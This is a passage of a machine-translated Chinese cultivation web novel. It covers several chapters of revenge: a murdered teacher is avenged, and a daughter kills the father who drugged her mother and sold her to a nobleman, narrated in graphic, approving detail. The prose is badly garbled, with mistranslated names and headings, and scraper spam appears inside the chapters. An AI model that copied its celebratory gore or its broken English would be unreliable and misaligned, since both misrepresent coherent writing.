    "This thing was found by the third sister from the back mountain, and if there is one piece, there may be a second piece, so I think if we go back and look for it, there may be unexpected gains!"


    After saying this, Niu Dali felt that he was extremely witty.


    If you just admit that you haven''t seen it in this way, chances are that this little master will kill all of them all at once.


    And the excuse he found was perfect. Not only could he become useful, but he could also use it to escape and return to Longhu Village.


    Just as Niu vigorously cheered secretly for his wit, Xue An nodded his head.


    "It''s reasonable, then I will go back with you to find this thing later!"


    "Okay...huh?" Niu Dali, who just wanted to agree, was dumbfounded.


    "What? There is a problem?"


    "Ah...no...no, I just...just..."


    "Just what?"


    "It''s just that the journey is far away, so you don''t have to go personally if you are driving the golden body!" Niu vigorously racked his brains and finally came up with an excuse.


    "How can it be done? This matter is very important. If you don''t go there in person, you won''t be relieved!"


    Following the voice, Sheng Hongqian walked over, and at the same time smiled at Xue An.


    "Did you say I was right?"


    Xue An was noncommittal.


    He has no prejudice against this coquettish woman, but he can''t say how much he appreciates it.


    He just said that he was going to Longhuzhai is not a lie.


    Because this is obviously a clue.


    As for whether Niu Dali and others agree or not.......


    Does that matter?


    Niu Dali never thought that his third sister would surrender to help Xue An at a critical moment.


    But Sheng Hongqian turned a deaf ear to this, but looked at Xue An with a smile, the color of admiration in her eyes became more and more intense.


    She had never met a man who fascinated herself so much.


    The previous Xu Gaotian was more than domineering, but other than that, he was useless.


    The young man in front of him was different, acting calmly and wisely, and at the same time very powerful.


    Of course, the more important thing is that the appearance of this young man is all based on Sheng Hongqian''s aesthetics.


    So even if she was afraid in her heart, she still surrounded Xue An like a moth and refused to leave.


    Xue An frowned slightly, but didn''t say anything. He just said vigorously: "How can you deceive Shi Chang with your strength?"


    Niu squeezed his neck vigorously, and said with a smile: "Small...Small have a small ability to correct people''s first impression of me!"


    "Oh? The power of rules?"


    Niu Dali looked bitter, "It''s not a regular force, it''s just a trivial little ability, and there are many restrictions."


    "So you rely on this ability to fool Shi Chang, who is the fourth rank general?" Xue An said.


    "Then I can''t blame me, I blamed Shi Chang with a ghost in his heart, always afraid that someone would harm him, so he ran around looking for a backer! By chance, he met me, and wishfully thought I was a peerless one. The strong, what can I do about this?"


    "He hasn''t doubted at all for so many years?" Xue An had some doubts.


    "Of course I doubted it, but this time my second child will come in handy!"


    Zhang Xiaoqiang on the side said with a smile rubbing his hands and saying: "My dear... My dear also has a small ability that can simulate the breath of a peerless power!"


    Xue An: "..."


    Suddenly, he was a little worthless for Shi Chang. In order to gain power as soon as possible, he did not hesitate to use his own mentor to operate and use his descendants to cultivate a bad child.


    But in the end, he was turned around by a bunch of scammers, and finally came to a dead end.


    "So why do you dare to shoot at me?" Xue An asked at last.


    Niu Dali and Zhang Xiaoqiang looked at each other, and then Niu Dali said embarrassingly.


    "Do you know what it means to lie to even believe it? We are like this. After so many years, we really think we are a peerless powerhouse!"


    "Especially you are still so young, that''s why we dared to do it. As a result..."


    (End of this chapter)

 Chapter 2757： Shi Chang

    2757 Born-18 Mar 1974


    Sheng Hongqian on the side suddenly realized, "It turns out that this is the case. I have always thought that Daniel and Xiao Zhang are really amazing!"


    "San Jie, who are Daniel and Xiao Zhang?" Old Wu asked.


    Sheng Hongqian patted him on the head, "It''s your eldest brother and second brother!"


    The fifth one suddenly realized, "Oh, it turns out to be the eldest brother and the second elder brother!"


    At this point, he suddenly realized something, and quickly closed his mouth with interest.


    As for Niu Dali and Zhang Xiaoqiang, their faces are full of embarrassment.


    Before, I opened my mouth and shut my mouth to call my eldest brother and second elder brother. Now that I know the truth, I change my words directly to Daniel and Xiao Zhang. The gap can be imagined.


    But at this moment, Sheng Hongqian sneered.


    "Look at your expressions, tease you!"


    As she said, she turned her head and said diligently: "My lord, when shall we leave?"


    Xue An ignored her at all, because at this moment Wu Jun and Duan Muguang had already stepped forward and bowed to salute.


    "Thank you for your kindness, son again!" Wu Jun said.


    Xue An had rescued him once in the theater before, so Wu Jun would use the word again.


    Xue An faintly smiled, "So you committed yourself to the theater to assassinate Shi Chang! I just don''t know how deeply this Shi Chang hates you, that makes you risk yourselves? Of course, if it''s inconvenient, just take it. I didn''t ask."


    Wu Jun smiled bitterly, "My lord has tried several times to rescue him, how can I hide that the reason why I want to assassinate Shi Chang is entirely to avenge the murderer''s revenge?"


    "Oh? This Shi Chang killed even your teacher?"


    "Yes! And it was killed by extremely cruel means."


    As if recalling those tragic experiences back then, Wu Jun''s voice trembled a little.


    And then through his narration, Xue An knew what happened.


    It turns out that these Wu Jun and Duan Muguang are orphans.


    But at that time, the city they were in was fighting for years, and the people didn''t make a living, and even the strong adults couldn''t survive, let alone the two children.


    Just when the two of them were about to starve to death, their teacher appeared.


    When talking about this, Wu Jun and Duan Muguang both showed tears in their eyes.


    Wu Jun trembled and said.


    "It was a very cold morning. Duanmuguang and I were squeezing in the corner. We were about to die of freezing and starvation. The pedestrians coming and going on the street did not even look at us, because for that For this city, starving two children to death is nothing new at all."


    "Just when we all had hallucinations, in a daze, I felt a figure stop in front of us. I tried my last bit of strength to shout out the word for help, and then I lost my mind!"


    "After we woke up, Duan Muguang and I had arrived in a warm room, even covered with a quilt!"


    "I was thinking, is this death? If this is the case after death, then death is not terrible at all. At this moment, footsteps came from outside the house, and I quickly closed my eyes and pretended to sleep! "


    "After a while, a figure came to the bed. Although I didn''t see her, I could recognize that this was the person I saw before fainting, because she had a very nice faint fragrance."


    "But the more I was like this, the more I was frightened. I closed my eyes and didn''t dare to open them. I don''t know how long it took before I listened to this figure chuckles, and then said in a mocking tone."


    "The little guy woke up very quickly, and he dared to pretend to sleep in front of my old lady. It''s really interesting! I panicked at the time, and then opened my eyes, what caught my eyes was a beautiful picture."


    "I still remember clearly that the light from outside the window came in and painted a faint silver gleam on the edge of her outline, and the expression on Master''s face is even more unforgettable in my life. Memories!"


    At this point, Wu Jun''s voice choked, and Duan Muguang''s face was already full of tears.


    Xue An understood this feeling, so he patted Wu Jun''s shoulder lightly, and sighed: "If you don''t want to say it, don''t say it!"


    Wu Jun shook his head and smiled miserably: "It''s okay, my lord, really, I''m just a little sad!"


    After that, he took a deep breath and continued to speak.


    "Later I learned that Master was an actor in the troupe, following the troupe in major cities. That time I was invited by the lord of the city where we were to sing. After the performance, Master went to the streets to play. It happened to meet us!"


    "In Master��s words, it��s the same as picking up two kittens, but later we learned how much pressure Master was under. Even the class teacher asked her several times and asked her to throw us away, but she gave us back. NS!"


    "Because the master was the pillar in the troupe at the time, and the class leader had to point her to earn money, so after talking a few times, we just let it go! But the troupe will not bear our clothing, food, housing and transportation, everything is paid by the master himself."


    "Since then, we have lived with the Master. We will eat whatever she eats. At the same time, she has taught us a lot!"


    "For example, the previous scripture against Shi Chang?" Xue An said suddenly.


    Wu Jun nodded, "Yes, that scripture was indeed taught to us by Master. We didn''t know what it was at the time, but since Master let us learn it, we have to learn it even if we work hard!"


    "In this way, your master should have something to do with the Guangming Palace that Shi Chang said?" Xue An said lightly.


    Wu Jun was silent for a moment, and finally shook his head: "We don''t know this. Master has never mentioned it to us. She just said that since there is the blood of evil in the body, then we should learn this scripture!"


    Xue An nodded, UU Reading did not continue to ask this question, "What then?"


    "Then we grew up and learned the corresponding tasks in the troupe, and did better than others. In this case, the class owner also acquiesced in our existence."


    Speaking of this, Wu Jun��s eyes lighted up, ��That was the happiest time in my life. Every day I opened my eyes and I could see Master, and I could still eat, even though other people in the troupe would still treat us Point and point, but as long as the master is there, we don��t care!"


    "It would be great if life continued like this! But I never expected that all my happiness would be ruined in this Ling''an City!"


    Speaking of this, both Wu Jun and Duan Muguang''s eyes showed deep hatred.


    "At that time, we were invited by Shi Chang to perform in Ling''an City, but it was on this stage. At that time, he had just proclaimed the Dao general, and the upright and energetic Shi Chang caught my master at a glance! And after the performance, he confronted the troupe. The Lord explained his intentions!"


    "So he agreed?" Xue An asked strangely.


    (End of this chapter)

 Chapter 2758： Take your head as a favor

    2758-Sorcerer


    "Yes!" Wu Jun said sadly.


    "Just for the little benefit Shi Changxu gave him, just because the master is getting older, just because she sometimes refuses to obey the discipline... this old immortal betrayed the master without hesitation!"


    "He deceived Master to General Ling''an Mansion with a despicable excuse, and then Shi Chang..."


    At this point, he choked again, but with Shi Chang''s temperament, one can imagine what will happen next.


    "The two of us only learned the news the next day. Then we went crazy and ran to the Ling''an General''s Mansion, and happened to meet the master who was carried out! At that time she... she was already tortured and looked like a man. The injuries are countless!"


    "After seeing us, she still smiled and said who asked you to come! Then she passed out."


    "The two of us returned to the troupe with Master on their backs. Everyone gave us pointers. Some women who hated my master''s appearance and achievements even smiled triumphantly! I have completely forgotten who supported the troupe in the first place."


    "But at that time we couldn''t take care of this anymore. We just hoped that there would be a miracle that would allow Master to live. As long as we could do it, even if we had to die at that time!"


    "But the miracle didn''t happen in the end. After being in a coma for a day and a night, Master''s breath weakened, and she called us to the front and said a word while we were still dead!"


    Xue An sighed, "I ask you not to take revenge?"


    Wu Jun and Duanmu Guang were startled, "You..."


    "It''s not hard to guess, after all, if you want to deal with Shi Chang, who has the strength of a fourth-rank general, with your strength, it is tantamount to idiotic dreams, and may even ruin your life!" Xue An said lightly.


    Wu Jun and Duanmuguang were silent for a moment, and then nodded together.


    "Yes, that''s what the master said at the time, and this became the only time we violated her order!"


    "So you spent all these years in hatred?"


    "Yes!" Wu Jun gritted his teeth, "In fact, we have killed many enemies before coming to Ling''an Domain!"


    "Are these people from the theater troupe?"


    "Yes!" A deep hatred appeared on Wu Jun''s face.


    "Shi Chang is the culprit, and these people are the accomplices who helped the abuse. Of course I will not let them go."


    "Master has taught me and Duan Muguang a lot over the years, and I have learned a lot later in the society. It is not a problem at all to kill these gang of actors who have forgotten justice!"


    "I still remember the expressions of these guys when they saw our true face before they died. Some people would cry and beg us for forgiveness, some were limp and silent, and some had tears on their faces. Confession to my dying master, but no matter what these people do, I never let them go!"


    "I killed them with the cruelest means, just like when they pushed Master into the fire pit."


    "Where is the theatrical troupe?" Sheng Hongqian, who had been watching the entire process, asked suddenly.


    "Of course there is this guy! He is more cunning than everyone else. After hearing that the people in the troupe had died, he immediately hid incognito. In order to find him, Duanmuguang and I went to great lengths to find him. It took ten years before I finally found him in an inconspicuous small city!"


    "At that time, he had become the foremost rich man in this small town, and he had a good name! Ironically, the guy who sold his subordinates without hesitation for a bit of petty profit turned out to be a great good man praised by the people!"


    Wu Jun sneered, "But when this great man saw our brothers, he immediately fell to his knees and started kowtow frantically."


    "In his words, he knew that there would be such a day, so he practised his merits and repented for what he had done in the past, and he also said that he was waiting for this day and was preparing to commit suicide in front of us. Atonement!"


    "Then this guy is not bad, at least he can correct it if he knows his mistakes!" Sheng Hongqian said.


    "Haha, can you correct me if I know what I��m wrong? All he said is just to delay time. In fact, he has bought several powerful monks by various means over the years, and he is equipped with a communication device at any time. When he sees us, he Immediately smashed the communication device, and then started to delay time, waiting for these monks to come!"


    "The results of it?"


    "In the end, he died! Because he never dreamed that the monks he found were not our brother''s opponents at all. After a few ambushes, these monks also fled after being wounded."


    "He has always thought that we are just ordinary actors, at most a bit of a quagmire, but how did he know that in order to avenge Master, I and Duanmu Guangwo have tried courage over the years, and have not let up."


    "So he died, I cut him three thousand times before he died, and then he took the last breath!"


    When he said these words, Wu Jun''s tone was extremely calm.


    Sheng Hongqian couldn''t help but applaud, "Okay! Kill well, you have to treat a scum like this. Unfortunately, when I killed Shi Chang just now, I was a bit too straightforward. I had to know that this would have caused him to be tortured before he could die. !"


    Wu Jun shook his head, "Today, Shi Chang will die because of the right time and place, neither he nor he will die, otherwise he won''t die so easily. In fact, I did not intend to go back alive when Duanmuguang and I returned to Ling''an City."


    "Even if we hold the belief that we must die, we know that the possibility of successfully killing him is very small, but we can''t wait any longer, because he will only get stronger with the passage of time. Once he enters the third rank general state, It''s completely beyond our reach!"


    "So today he can die, we are already very satisfied, as for other things, we no longer have extravagant expectations!"


    Xue An nodded, suddenly the sword light flashed, directly cut off Shi Chang''s head on the ground, and then handed it to Wu Jun.


    "Take this thing back as a souvenir!"


    This understatement of using the head as a way of favoring made Niu Dali and Zhang Xiaoqiang''s eyelids jumped, and only Sheng Hongqian''s eyes lit up.


    Wu Jun did not refuse, and solemnly took Shi Chang''s head and bowed.


    "Thanks for the great grace! If the son is useful to us in the future, UU reading , I will wait for it."


    Xue An smiled, "Where are you going to go next?"


    "I don''t know." Wu Jun said blankly.


    Yes!


    Where are you going?


    Before, they lived to avenge their teachers, but now they can get revenge, where else can they go?


    "I''ll show you the way. Your master must have some connection with the Guangming Palace, so you might as well go to this Guangming Palace. Wouldn''t it be better if you could find out why your Master fell into the rivers and lakes and became an actor? "


    Hearing this, Wu Jun and Duanmuguang shook together, and then looked at each other.


    "Okay! According to what you said, let''s go to the Guangming Palace!"


    (End of this chapter)

 Chapter 2759： Fooling up sisters is like a strategy of war

    Chapter 2759 Fooling Up Girl Like A Art Of War


    Wu Jun and Duanmuguang took Shi Chang''s head and left.


    When they left, this real Xu Lingan just wanted to come forward to talk, but saw Xue An turn around and walk towards the high platform.


    At this time, the eyes of the audience gathered on Xue An.


    Seeing him walking towards the high platform, many people were taken aback for a moment, and even showed a comprehensible smile.


    For example, Wu Zizhang, he smiled and said: "It seems that our son Xue is also a romantic figure!"


    "Nonsense, it''s common sense for the young Muai, besides, how many people can handle this stunning girl Yun?" Yao Yachao laughed.


    Xue An''s previous performances have already convinced everyone on and off the court, so people don''t think there is anything wrong with Xue An''s current approach.


    After all, the young Muai is a talented man, can he be called a talented man if he is not romantic?


    Only Tang Zheng''s eyes flashed in the audience, but he didn''t say anything, instead he took a half step back a little later.


    Seeing Xue An approaching her, Yun Lingxuan was not doing anything, but the little maid group was already very excited.


    "Miss, he''s here, he''s here!"


    Yun Lingxuan didn''t pay any attention to her little nymphomaniac. She just stood there quietly, her eyes flickering slightly, she didn''t know what she was thinking.


    At the same time, Xue An came to Yun Lingxuan and smiled freely.


    "Miss Yun, we meet again!"


    Yun Lingxuan gave a salute, "Yes! See you again!"


    As soon as this remark came out, many people were slightly surprised.


    Do they know each other?


    The bitterness in Tang Zheng''s eyes couldn''t help being more intense.


    At this moment, I saw Xue An smile, "Miss Yun, where is my composition?"


    Composing?


    Yun Lingxuan was startled slightly, and then she remembered the bet before the Wenhui began, and she couldn''t help but chuckle.


    "The son has a good memory, I have forgotten it if I don''t remind him."


    "Haha, although I am not the leader of a literary society, it is good to be able to listen to Girl Yun composing a song!" Xue An said with a smile.


    Yun Lingxuan nodded, "If this is the case, then I will compose a song for the son!"


    With that said, Yun Lingxuan took out the guqin she was carrying, put it on the table and pondered for a while, then lightly plucked the strings and began to play.


    Yun Lingxuan''s talent in composing is unquestionable, even the improvised pieces are amazing enough.


    Especially the abundant emotion contained in the song is even more moving.


    After playing a song, the audience was silent. After a while, Xue An applauded gently and exclaimed.


    "Good song, good piano art!"


    Yun Lingxuan stroked the strings, floated up, and said softly: "The son is absurdly praised!"


    "It''s not Miuzan, but the fact! The girl''s talent in music is really the highest I have ever seen in my life."


    Yun Lingxuan didn''t know how exaggerated Xue An''s compliment was, she just nodded politely.


    "The son..."


    But before she finished speaking, she saw Xue An gently arched her hand, "After listening to the song, then I will leave!"


    After that, Xue An turned and left.


    This sudden move made Yun Lingxuan a little confused.


    what happened?


    How can I leave?


    Could it be said that he took the initiative to see me really just to listen to a piece of music?


    Not only was Yun Lingxuan a little stunned, many people in the field also felt puzzled.


    Han Bochao frowned and said, "What''s the matter? Young Master Xue said a few words before leaving without saying goodbye?"


    Instead, Wu Zizhang sighed softly, "Master, real master, I used to think I was a slap-setter, but compared to Master Xue, I''m still far behind!"


    "What do you mean?" Han Bochao was puzzled.


    Before Wu Zizhang could explain, Qie Weilan, who was sitting beside him, said quietly.


    "If you want to catch it, first arouse the girl''s curiosity, and then pretend to be alienated, so that she will be more impressed with you. The commonly used methods in the happy scene, I did not expect that Young Master Xue is also good at this!"


    Han Bochao scratched his scalp, "I don''t understand, it''s too complicated!"


    Wu Zizhang laughed and patted Han Bochao on the shoulder, "Brother Han can understand as long as he treats women as enemies in the art of war!"


    Han Bochao suddenly realized, "Should we lure the enemy to go deep, then surround Wei and save Zhao, and attack the heart, and finally flood the Seven Armies and hit Huanglong?"


    Zhuo Benzheng and the four fell silent.


    Qi Weilan sipped his cheeks reddishly, "Bah! Stinky man!"


    After that, he turned his head and ignored it.


    Han Bochao didn''t know, so, "Brother Wu, what am I saying wrong?"


    "Yes, it''s so right!"


    "Why did Girl Qi scold me?"


    Wu Zizhang was a little embarrassed, but Yao Yachao explained with a smile.


    "That''s because these idioms usually sound normal, but at this time they are full of color, and people can''t help but think about it!"


    Han Bochao frowned and thought for a long time, but still didn''t quite understand, he could only mutter to himself: "Women... really troublesome!"


    And at this moment, Xue Anye had already stepped off the platform and came in front of Xu Lingan and Wu Ji.


    As soon as he saw him, Xu Lingan hurriedly saluted.


    "Thank you, my lord, for helping me and helping the young man get rid of the villains and regain Ling''an City."


    At this moment, Xue An''s identity in his mouth was upgraded again, from a young man to an adult.


    Xue An just smiled faintly at this, "Thank you, you don''t have to, even if you don''t have you, I have to kill Shi Chang, so this is just a matter of convenience!"


    "That being said, the little old man is still grateful!"


    Xue An did not continue to struggle with this issue, and the front of the conversation changed: "But there is something you have to pay attention to!"


    "My lord, just ask if you have anything!"


    "This Shi Chang father and son founded an organization called Xiuluodian during his lifetime. Although it is not a big force that can be on the stage, it is also a hidden danger. Now that they are dead, this matter is left to you to deal with!"


    Xu Ling''an said with a solemn expression, "I understand that I must handle this matter properly."


    Xue An nodded, and was about to ask a few more words, suddenly there was a quarrel next to him.


    Xue An turned his head and looked around. UU reading saw that the director of the family home was different from Ren Ning.


    Seeing this scene, the expression on Xue An''s face grew colder.


    Xu Ling''an was so shrewd that he naturally noticed this scene and hurriedly said in a low voice: "Sir, do you want me to solve it?"


    As early as when Xu Ling''an was still the lord of Ling''an, this Ren Dian had already taken charge of the Ren family, and because he was a subordinate of Xu Ling''an, he had contacted several times.


    Therefore, Xu Lingan naturally knew how despicable this different temperament was, so he volunteered to prepare to solve this matter.


    Xue An shook his head, "No, some things have to be experienced and faced by yourself, and the help of others is always only temporary!"


    With that, even Xue An stood in the same place and watched quietly, without stopping in the past.


    He wanted to see what choice Ren Ning would make when facing her former father.


    (End of this chapter)

 Chapter 2760： Test your mind

    2760-Sorcerer


    If she is still weak and incompetent, Xue An will turn around and leave after helping her one last time, letting her fend for herself.


    This is also a consideration of Ren Ning''s character.


    After all, no matter what you do, a cowardly person will never be able to make a big deal.


    Although Xue Anneng broke away from the shackles of black hole space, he came to this world to a large extent from Ren Ning.


    But it''s okay to help her once or twice, and Xue An can never help her for a lifetime.


    Some things still need her to stand up and face it bravely.


    For example, this is the case at this moment.


    In fact, there is no bad talk between Ren Different.


    He is not a fool, he has seen everything that just happened.


    Even the invincible Shi Chang father and son in his mind were cracked by Xue An like cutting melons and vegetables.


    So even if he lends him ten courage, he doesn''t dare to show no respect for Ren Ning.


    At this moment, he only adopted one method, which is to play the emotional card.


    "Daughter, I did something wrong for my father before. I shouldn''t favor your sister and leave you in the cold. It''s all my fault. Damn, damn!"


    As he said, he slapped himself viciously, crying with tears and nosebleeds flying wildly.


    Ren Ning was holding her arm tightly by him, she could only stand in a daze with a dazed face. It wasn''t until Ren Deng slapped herself that she trembled, woke up, and whispered.


    "Don''t be like this, let me go!"


    "No! I won''t let go. If you don''t forgive me, then I will die in front of you so that I can atone for what I did wrong before!" Ren Different said aggressively.


    Ren Ning was silent for a moment, and then whispered: "Actually, you did nothing wrong. In other words, I would like my sister instead of me!"


    Speaking of this, Ren Ning''s expression was a little sad, "After all, I know best how boring I am."


    But Ren was different but had misunderstood Ren Ning''s meaning. He immediately turned his head and rushed to Ren Xing who was not far away and roared.


    "Why are you stupid standing there? Why don''t you come over and apologize to your sister?"


    Ren Xing''s face turned pale when he was yelled, and then walked over tremblingly, but she didn''t know what to say, she could only stand silly and trembling in the same place.


    Ren Differenti first smiled at Ren Ning, "Daughter, I did what I did wrong before. I know you have been wronged. I will let Ren Xing apologize to you now!"


    As he said, he turned his head, his face immediately changed to an extremely cold expression, "Don''t you kneel down and apologize to your sister?"


    Ren Xing''s eyes were tearful, but she didn''t dare to resist Ren''s different orders, so she knelt down tremblingly.


    "Sister... I''m sorry, I was wrong before!"


    When the words fell, her eyes burst into tears.


    Seeing her kneeling and crying bitterly, Ren Ning was suddenly in a trance.


    Once upon a time, I cried bitterly like her.


    That was when my mother had just passed away and I was still young.


    At that time, I didn''t even know what happened, so I could only hide in the blanket and cry all night, but didn''t dare to say anything to Ren.


    Because although she was young at that time, she also vaguely knew that her mother''s death was inseparable from Ren.


    Even though she is his daughter, if she reveals something strange, she will probably lose her life.


    This lack of security was so strong that it triggered Ren Ning''s psychological protection mechanism, and she didn''t remember how she came over that time.


    I just vaguely remember that after crying for a while, I hid everything in my heart and never showed it to my family.


    She actually developed this kind of drama-loving fantasy character at that time.


    Because of the huge shadow of childhood and the neglect in reality, she can only obtain self-comfort from the illusion constructed in her heart.


    "Hey daughter, are you still angry with your father?" Ren Different rubbed his hands and said with a smile, but his eyes were full of naked anticipation.


    Ren Ning woke up from the trance, looked at the flattery and flattery on Ren Different''s face, suddenly felt a little sick.


    She shook her head, didn''t want to talk nonsense to this man, turned around and left.


    But at this moment, the difference grabbed her arm and said in an almost imploring tone.


    "Daughter, good daughter, you must never leave! Listen to me, our Ren family can all rely on you now. You are the closest person to that Xue Gongzi. As long as you can succeed in the position, then our Ren family will follow suit. NS!"


    "Successful in the upper rank?" Ren Ning turned her head and looked at him with some doubts.


    A triumphant smile appeared on Ren''s different faces.


    "Yes, it''s the upper rank! You and this son Xue have been in bed for so long, right? As long as you can take down this newly-rising noble son, then our Ren family will be no one. Annoying existence! Haven''t you seen that even Xu Ling''an respects him..."


    Ren Ning talked about the pros and cons of Ren Ning.


    But what he didn''t know was that because of this passage of his words, the memory gate that was hidden deep in Ren Ning''s heart and locked up suddenly opened.


    The mother��s crying, the parents�� quarrel, the scarlet night, the drunk man with a wicked smile, the unconscious mother, and the desperate calmness of the mother when she ordered herself before her death...


    These countless images burst into Ren Ning''s heart, and her body began to tremble.


    She remembered.


    She remembered everything that happened that year.


    But this difference was ignorant of these, and he was still talking about it.


    At this moment, a loud slap directly blocked his words, and also made Xue An, who was already disappointed, shine in front of his eyes.


    No matter how different you are, you have been beaten stupid.


    The reason why he dared to pester Ren Ning so much was to get her character right. He felt that this gentle-tempered daughter would definitely forgive herself as long as she soaked up.


    So he never thought that Ren Ning would dare to beat herself.


    "you you��."


    The expression on Ren Ning''s face began to be cold, "Ren is different, you are really a good husband and a good father!"


    This harsh sentence asked Ling Ren different what he suddenly thought of, and his face changed drastically.


    "I��."


    But when he just said a word, Ren Ning slapped her hand again.


    Snapped!


    "Back then, in order to win the appreciation of the powerful, UU Reading www.uukahnshu.com did not hesitate to contribute his wife out, because her mother disagrees, you can even use the despicable means of medication to stun her. You do these things. It''s really upright!"


    When these words came out, the whole audience was in an uproar.


    No one expected such a turning point in things, even Ren Xing, who was kneeling on the ground, was stupid.


    Ren''s complexion was blue and white, and he wanted to have an attack, but when he caught a glimpse of the white figure from the corner of his eyes, he couldn''t help but trembled, and then he smiled forcefully.


    "What nonsense are you talking about, I haven''t done those things..."


    "No? Hahahahaha!"


    Ren Ning sneered nervously, with blood and tears dripping from the corners of her eyes amidst her laughter, then turned her head and said to Xue An.


    "Master Xue, can you please do me a favor?"


    (End of this chapter)

 Chapter 2761： Settle grievances

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    Xue An shrugged, "I''m so happy!"


    With that, Xue Anxin stepped forward and said calmly: "What do I need to do?"


    Ren Ning took a deep breath, and raised her hand to point to the difference in front of Ren.


    "Next, I want to ask him a few words, but what is certain is that he will never tell the truth, so I need you to use methods to distinguish the truth from what he said!"


    Hearing this, Ren''s different complexion turned white at first, and then a hint of luck flashed in his eyes.


    No matter how great this young man is, as long as he resists death by himself, what can he do to me?


    Thinking of this, Ren Dongqiang smiled and said: "My lord, what I just said is really the truth, you see..."


    Xue An didn''t talk nonsense with him at all, and directly nodded in response; "Okay! Let''s get started."


    Ren Ning split her head and covered her face.


    "Did my mother die because of you?"


    Ren Different sneered in his heart, but his face was full of bitterness and helplessness, "No...ahhhhhh!"


    It wasn''t that the second word had just been uttered, but a sudden pain that could not be described in words hit him instantly.


    Caught off guard, Ren Different screamed and almost fell to the ground.


    Xue An said indifferently: "I just planted a mark in the depths of your soul. From now on, if you dare to say half-words, then this mark will tear your soul, so...so do it for yourself!"


    Hearing this, Ren Different''s previous fluke was wiped out, replaced by infinite panic and despair.


    "no, do not want!"


    Before the words were over, Ren Ning looked at him coldly and said, "Say, is my mother''s death related to you?"


    "Yes!" Ren''s complexion changed, and finally he didn''t dare to lie, and answered honestly.


    "Then how did she die?"


    "Back then, a rich man who passed through Ren''an City fell in love with your mother and wanted to have a night of joy. I...I didn''t dare to defy, so I discussed it with your mother!"


    "As a result, she refused to say anything. In desperation, I had to use medicine to stun him and..."


    "Then what?"


    "Then sent it to the bed of the nobleman!"


    boom!


    The audience was in an uproar.


    Everyone, whether male or female, showed disdain and contempt on their faces.


    "Scum!"


    "Extremely shameless!"


    "Bah, it''s really a shame for our men to be able to sell even their own women!"


    These accusations were endless, making Ren different''s complexion even paler.


    Ren Ning was already crying.


    Because Ren''s different words really confirmed his memories.


    Ren Ning couldn''t help thinking that his mother had encountered this kind of atrocities, and that it was betrayal from the closest person around him.


    Seeing her excitement, Xue An said calmly: "Do you need me to help you do it?"


    The word "hands-on" is an understatement, but it is like a bolt from the blue when it falls in different ears.


    He plopped and fell on his knees, repeatedly kowtowing: "The lord is forgiving, the lord is forgiving! The little one knows his mistake, the little one will never dare anymore!"


    Xue An didn''t even look at him, but looked at Ren Ning quietly, waiting for her answer.


    Ren Ning gradually stopped her grief, and then resolutely shook her head.


    "No need, my mother''s revenge, I want to avenge myself!"


    "good!"


    Xue An casually threw the fragment of the ancient mirror over, "Use this! Go revenge!"


    Ren Ning caught the fragment of the ancient mirror, and then walked towards Ren Different.


    Ren Di shivered and looked at Ren Ning with begging eyes.


    But this didn''t make Ren Ning''s footsteps even the slightest sluggish.


    At this moment, Ren Ning''s pace was gentle and steady, as if she was going to a feast, even the expression on her face was neither sad nor happy.


    But it was this kind of extreme peace that made Ren Different''s heart cold.


    "Ning''er, I am your biological father anyway, I really know I was wrong, please let me go...ah!"


    A scream interrupted Ren Different''s begging for mercy, and Ren Ning slapped it off with one hand, and the fragment of the ancient mirror directly pierced Ren Different''s shoulder.


    puff!


    Blood splattered, and no one cried out in pain, and at the same time a fierce look appeared in his eyes.


    The muscles of his legs suddenly tightened, wanting to fight back to take Ren Ning hostage, and then flee here.


    He knew very well that this was the only way he could survive.


    But before he had an attack, a majestic power came crashing down, directly on the top of Ren different''s head.


    With two clicks, the different knees instantly shattered, and they could no longer move.


    He opened his mouth to scream, but at this moment, Ren Ning held the fragment of the ancient mirror with both hands and slammed down.


    Bah!


    With a crisp sound of cutting leather, the fragments of this ancient mirror were slashed from different shoulders, cutting off all the ribs along the way, and breaking open the chest and abdomen.


    The intestines spouted out, but Ren Ning did not move at all. Instead, she bit the fragment of the ancient mirror with her mouth, then stretched out two fibrous hands and inserted them directly into Ren''s chest.


    No matter what, the whole body was shaken.


    As a monk''s strong vitality, even if he suffered such a serious injury, he did not die.


    But this also became the source of his pain.


    Seeing Ren Ning''s hands inserted into Ren''s chest, she slammed to the sides, and the heart hidden in her chest suddenly appeared.


    At this time the bright red heart was still beating.


    Ren Ning said coldly: "I didn''t expect your heart to be red!"


    As she said, she grabbed the jumping heart directly with both hands and jerked it out.


    Huh boom boom.


    With a sour sound of cracking blood vessels, Ren Ning''s different heart was torn out forcibly.


    The eyelids of many people watching this extremely fierce scene jumped wildly.


    Especially Ren Xing who was kneeling not far behind, UU reading was already frightened at the moment.


    Is this woman who is covered in blood and holding a heart like a **** demon in front of her, really is her weak and deceptive sister?


    Speaking of this, I have to admire Ren Different''s powerful vitality. Even if he lost his heart, he still didn''t fall down immediately. Instead, he slowly lowered his head to look at his empty chest, and said with difficulty.


    "Heart... is gone!"


    After saying this, he just fell to the ground and died desperately.


    Ren Ning stood there, holding Ren''s different heart in her hand, and whispered softly in her mouth.


    "Mother, did you see that, I avenged you, I killed this bastard, you can rest in peace!"


    As she spoke, tears burst into her eyes.


    Xue An didn''t know when he walked to her side, and said lightly.


    "Good job! I thought you wouldn''t dare, but I didn''t expect you to be able to do it!"


    Ren Ning sniffed, and said in a slightly choked voice: "In fact, at the beginning I thought I would not dare, but in the end I did it!"


    Xue An smiled, then turned and left.


    "Let''s go, your grievances are gone, you don''t have to stay here anymore!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2761), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2762： Ren Ninger

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    Ren Ning did not hesitate, and immediately followed.


    As Xue An said, her grievances are gone, and there is no need to stay in this spiritual zone anymore.


    Somehow, she suddenly remembered what her mother said to herself before she died.


    At that time, my mother gave her the treasured face towel, and then told her.


    Once this facial mask is put on, there are only two possibilities for people to see the true face, one is to lose one''s body, and the other is to meet a person who is worthy of love, and then completely fall in love with each other.


    At that time, I had foolishly asked what love is.


    I remember that my mother was silent for a long time, until I even thought that my mother was asleep, and then my mother said in a low tone.


    Love is willing to look at him from a distance.


